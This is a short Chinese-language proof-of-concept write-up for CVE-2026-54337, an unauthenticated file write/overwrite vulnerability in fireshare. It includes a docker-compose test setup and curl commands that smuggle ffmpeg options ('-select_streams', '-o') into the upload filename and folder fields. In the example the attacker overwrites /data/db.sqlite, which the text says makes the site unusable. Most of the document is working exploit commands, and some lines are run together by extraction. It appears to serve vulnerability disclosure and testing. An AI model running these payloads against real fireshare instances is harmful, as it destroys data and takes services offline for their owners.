CVE-2026-54337 - fireshare <= 1.16.3 中的未认证文件写入/覆盖 PoC
更多信息请参考 此 GitHub 公告
docker-compose.yml 进行测试services:
fireshare:
container_name: fireshare-temp
image: shaneisrael/fireshare:1.6.13-lite
ports:
- "8082:80"
# Ephemeral storage (discarded when container stops)
tmpfs:
- /data
- /processed
- /videos
- /images
environment:
- ADMIN_USERNAME=admin
- ADMIN_PASSWORD=admin123
- SECRET_KEY=fireshare-super-secret-random-key
- DOMAIN=
- PUID=1000
- PGID=1000
restart: unless-stopped
.mp4 扩展名即可,例如$ echo 123 > test.mp4
$ curl -s -w "HTTP %{http_code}\n" \
-F "file=@<FILEPATH>;filename=<FILE TO OVERWRITE/WRITE> -select_streams v.mp4" \
-F "folder=testfolder -o <DIRECTORY TO PUT THE FILE>" \
http://<URL>/api/upload/public
例如,要覆盖 /data/db.sqlite,请将命令修改为如下形式
$ curl -s -w "HTTP %{http_code}\n" \
-F "file=@<FILEPATH>;filename=db.sqlite -select_streams v.mp4" \
-F "folder=testfolder -o data" \
http://<URL>/api/upload/public
nginx 用户身份运行,该用户仅能访问 /data、/processed、/images 和 /videos,因此你只能在这些目录中进行写入/覆盖操作/data/db.sqlite 的影响最大,因为它会使网站无法使用